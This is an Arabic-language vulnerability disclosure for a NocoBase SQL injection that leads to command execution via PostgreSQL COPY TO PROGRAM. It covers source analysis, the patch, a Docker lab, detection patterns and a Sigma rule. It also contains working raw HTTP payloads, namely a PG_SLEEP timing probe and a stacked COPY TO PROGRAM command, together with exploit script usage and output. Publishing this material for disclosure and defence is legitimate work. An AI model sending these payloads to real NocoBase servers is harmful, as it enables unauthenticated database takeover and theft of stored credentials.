
CVE-2026-52887 — حقن SQL في NocoBase -> RCE بصلاحيات المستخدم الفائق في PostgreSQL (عامل تصفية myInAppChannels:list، CVSS 10.0). PoC من المؤلف + تحليل المصدر + مختبر Docker.
حقن SQL في إجراء myInAppChannels:list من إضافة @nocobase/plugin-notification-in-app-message في NocoBase (≤ 2.0.60). يُدمج معامل الطلب filter[latestMsgReceiveTimestamp][$lt] مباشرةً في سلسلة SQL خام عبر Sequelize.literal() دون تهريب أو ربط. وعبر دعم العبارات المتراصة في مُشغّل pg الخاص بـ PostgreSQL، يبلغ الحقن COPY … TO PROGRAM، ولأن إعداد compose الافتراضي لدى المورّد ينشئ دور nocobase في قاعدة البيانات كمستخدم فائق، فإن ذلك يتيح تنفيذ أوامر الصدفة كمستخدم postgres في نظام التشغيل. تتطلب نقطة النهاية مستخدمًا مسجّل الدخول، لكن الإضافة الافتراضية auth-basic تأتي مع تفعيل التسجيل الذاتي، لذا يمكن لأي زائر مجهول التسجيل والوصول إليها.
في packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts، مُعالِج myInAppChannels:list (الإصدار 2.0.57):
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
: null;
تأتي قيمة filter.latestMsgReceiveTimestamp.$lt مباشرةً من استعلام الطلب (filter[latestMsgReceiveTimestamp][$lt]=…) وتُدمج في Sequelize.literal() — SQL خام دون ربط معاملات ودون فرض تحويل نوع. يمكن للمهاجم إغلاق المقارنة وإلحاق SQL تعسفي.
pg، الذي يسمح بـ عبارات متراصة (… ; …). يُلحق الجزء المُحقون عبارة ثانية.docker-compose.yml الافتراضي لدى المورّد دور nocobase عبر متغير POSTGRES_USER في صورة postgres، وهو دائمًا مستخدم فائق.COPY (…) TO PROGRAM '<shell>'، لتنفيذ <shell> كمستخدم postgres في نظام التشغيل داخل حاوية قاعدة البيانات.قائمة التحكم بالوصول (ACL) لإجراء myInAppChannels هي loggedIn، لكن الإضافة الافتراضية auth-basic تأتي مع allowSignUp: true. يقوم المهاجم المجهول بالتسجيل الذاتي (POST /api/auth:signUp?authenticator=basic)، ويسجّل الدخول للحصول على رمز وصول، ثم يُكمل — لذا ففي التثبيت الافتراضي تكون هذه الثغرة بلا مصادقة عمليًا.
يضيف defineMyInAppChannels.ts الدالة parseLatestMsgReceiveTimestampLt()، التي تُمرِّر القيمة عبر Number() (رافضةً أي مدخلات غير محدودة القيمة أو غير رقمية برمز 400) وتتحول إلى مقارنة مربوطة:
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user
$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
سلسلة HTTP الخام:
POST /api/auth:signUp?authenticator=basic {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic {"account":"a","password":"P!ssw0rd1"} → {"data":{"token":"…"}}
# time-based oracle (≈5s delay):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>
# stacked-statement RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>
يقبل --cmd أي أمر صدفة (صدفة عكسية، استدعاء OAST، قراءة صفوف قاعدة البيانات عبر COPY (SELECT …) TO PROGRAM 'cat > /tmp/x'، إلخ).
لا يوجد جسر docker على هذا المضيف، لذا شغِّل الحاويتين باستخدام شبكة المضيف:
docker run -d --name nb-pg --network host \
-e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
-e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
-e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
-e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof
الحد الفاصل للإصدار المُصحَّح (مرفوض):
docker run ... nocobase/nocobase:2.0.61 # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200
راجع EVIDENCE.txt لسجل الالتقاط وANALYSIS.md للشرح على مستوى الكود المصدري.
مُؤكَّد: قابلة للاستغلال على nocobase/nocobase:2.0.57، تم التحقق منها بأسلوبين مستقلين:
PG_SLEEP(5) الاستجابة ~5.0 ثوانٍ بينما يعيد طلب مطابق بدون النوم الاستجابة خلال ~0.03 ثانية على نفس نقطة النهاية (يستبعد وجود مُقيِّد معدل / أثر إعادة محاولة).uid=999(postgres) gid=999(postgres)، أي المخرجات الفعلية لأمر id(1) المُنفَّذ كمستخدم postgres في نظام التشغيل، وليست صدىً للحمولة.مُصحَّحة على nocobase/nocobase:2.0.61 — تُعيد الحمولتان رمز HTTP 400 بينما يظل $lt الرقمي يُعيد 200.
تنفيذ أوامر عن بُعد كمستخدم postgres في نظام التشغيل داخل حاوية قاعدة البيانات: قراءة/كتابة كاملة لقاعدة بيانات NocoBase، وكشف جميع الأسرار وبيانات اعتماد المستخدمين المخزَّنة، ونقطة ارتكاز للحركة الجانبية. يمكن لأي زائر مجهول الوصول إليها في التثبيت الافتراضي.
COPY … TO PROGRAM).allowSignUp: false) عندما لا يكون مطلوبًا.طلبات myInAppChannels:list التي لا تكون قيمة filter[latestMsgReceiveTimestamp][$lt] فيها رقمًا بسيطًا، وسجلات PostgreSQL التي تحتوي على COPY … TO PROGRAM:
GET /api/myInAppChannels:list with filter[latestMsgReceiveTimestamp][$lt] containing
non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'
سيغما (سجل وصول خادم الويب):
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
selection:
cs-uri-stem|contains: '/api/myInAppChannels:list'
cs-uri-query|contains:
- 'PG_SLEEP'
- 'TO PROGRAM'
- '$lt]=0)'
- '$lt]=0);'
condition: selection
level: critical
MIT. © Caio Fabrício (BiiTts).
| CVE | CVE-2026-52887 |
| المنتج | NocoBase (@nocobase/plugin-notification-in-app-message) |
| المتأثر | ≤ 2.0.60 (تم التحقق على nocobase/nocobase:2.0.57) |
| المُصحَّح | 2.0.61 |
| التصنيف | حقن SQL (CWE-89) → تنفيذ أوامر في نظام التشغيل |
| CVSS 3.1 | 10.0 حرج — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA) |
| المصادقة | بلا مصادقة فعليًا — الإعداد الافتراضي auth-basic allowSignUp: true |
| الحالة | مُؤكَّد: قابلة للاستغلال — تم التحقق من البداية للنهاية على 2.0.57 |